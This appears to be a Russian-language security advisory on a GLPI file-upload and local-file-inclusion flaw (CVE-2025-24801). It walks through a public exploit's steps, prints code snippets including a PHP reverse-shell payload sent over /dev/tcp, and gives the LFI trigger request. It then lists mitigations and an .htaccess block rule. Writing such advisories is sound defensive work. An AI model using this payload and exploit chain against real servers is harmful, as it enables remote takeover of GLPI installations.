Уязвимость модуля Inventory в GLPI
Уязвимость модуля Inventory в GLPI
Категория: Программы Теги: Уязвимости Опубликовано: 12 мая 2025

Уязвимость BDU:2025-03181 (CVE-2025-24801) модуля Inventory в GLPI

Уязвимость BDU:2025-03181 (CVE-2025-24801) в системе GLPI связана с недостаточной валидацией типов файлов в модуле Inventory. Это позволяет атакующему загрузить PHP-файл и выполнить произвольный код через цепочку Local File Inclusion (LFI) при экспорте отчетов.

Анализ уязвимости

Уровень опасности: ВЫСОКИЙ (8.5)
Вектор атаки: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H

  • AV:N (Вектор атаки) - Сетевой: Уязвимость может быть эксплуатирована удалённо через сеть (например, интернет).

  • AC:H (Сложность атаки) - Высокая: Для эксплуатации требуются специфические условия или сложные манипуляции.

  • PR:L (Требуемые привилегии) - Низкие: Злоумышленнику необходимы базовые права доступа (например, учётная запись пользователя).

  • UI:N (Взаимодействие с пользователем) - Не требуется: Атака возможна без участия пользователя.

  • S:C (Область воздействия) - Изменён: Уязвимость влияет на компоненты за пределами уязвимой системы (например, другие ресурсы или системы).

  • C:H (Влияние на конфиденциальность) - Высокий: Полная компрометация конфиденциальности данных.

  • I:H (Влияние на целостность) - Высокий: Полная компрометация целостности данных.

  • A:H (Влияние на доступность) - Высокий: Полная потеря доступности системы или данных.

Условия эксплуатации:

  1. Доступ к учетной записи с правами Technician (минимум).

  2. Наличие версии GLPI < 10.0.18.

  3. Возможность отправки HTTP-запросов к GLPI (локальная сеть или публичный доступ).

Ключевые этапы работы эксплойта

Эксплойт в общем доступе к уязвимости BDU:2025-03181 (CVE-2025-24801) автоматизирует три этапа:

  1. Аутентификация в системе
    Скрипт извлекает CSRF-токен из формы входа и отправляет учетные данные:

    def login(...):  
        r = session.get(f"{base_url}/front/login.php")  
        soup = bs4.BeautifulSoup(r.text, 'html.parser')  
        token = soup.find('input', {'name':'_glpi_csrf_token'})['value']  
        payload = {'_glpi_csrf_token': token, 'login_name': username, ...}  
        session.post(f"{base_url}/front/login.php", data=payload)  

    Без валидных учетных данных эксплуатация невозможна.

  2. Изменение настроек типа документов
    Эксплойт обновляет разрешенные расширения для загрузки, добавляя php:

    def document_type_update(...):  
        data = {'ext': 'php', '_glpi_csrf_token': token, ...}  
        session.post(url, data=data)  

    Это критичный шаг: GLPI начинает принимать PHP-файлы как «безопасные».

  3. Загрузка PHP reverse shell
    Скрипт использует ajax/fileupload.php для загрузки вредоносного файла:

    php_payload = f"<?php exec(\"/bin/bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'\"); ?>"  
    files = {'_uploader_filename[]': ('exploit.php', php_payload, ...)}  
    session.post(upload_url, files=files, headers=headers)  

    После загрузки файл сохраняется в /_uploads/exploit.php, но для выполнения кода требуется ручной триггер LFI через параметр pdffont в функционале экспорта отчетов.

Условия успешной атаки

  • GLPI должен иметь публичный URL или быть доступным из сети атакующего.

  • Учетная запись Technician часто используется для внутренних сотрудников, что делает утечку таких данных вероятной.

  • Отсутствие контроля за изменениями в настройках типов документов.

Пример ручного триггера LFI

Атакующий может вручную вызвать выполнение кода через запрос:

GET /glpi/front/report.generate.php?pdffont=exploit.php HTTP/1.1  

Или использовать фичары экспорта PDF в интерфейсе GLPI.

Защита и рекомендации

  1. Обновление: Установите GLPI 10.0.18 или выше.

  2. Контроль прав доступа:

    • Ограничьте права Technician.

    • Регулярно аудитируйте учетные записи.

  3. Валидация файлов:

    • Запретите загрузку .php.phtml через настройки Document Types.

    • Используйте WAF для блокировки подозрительных запросов.

  4. Сегрегация сети:

    • Ограничьте доступ к GLPI только внутренними IP-адресами.

  5. Мониторинг:

    • Отслеживайте изменения в /front/documenttype.form.php.

    • Анализируйте логи доступа к /ajax/fileupload.php.

Пример настройки .htaccess для блокировки LFI

RewriteEngine On  
RewriteCond %{QUERY_STRING} pdffont=.*\.php [NC]  
RewriteRule ^ - [F]  
Алексей Черемных Алексей Черемных
105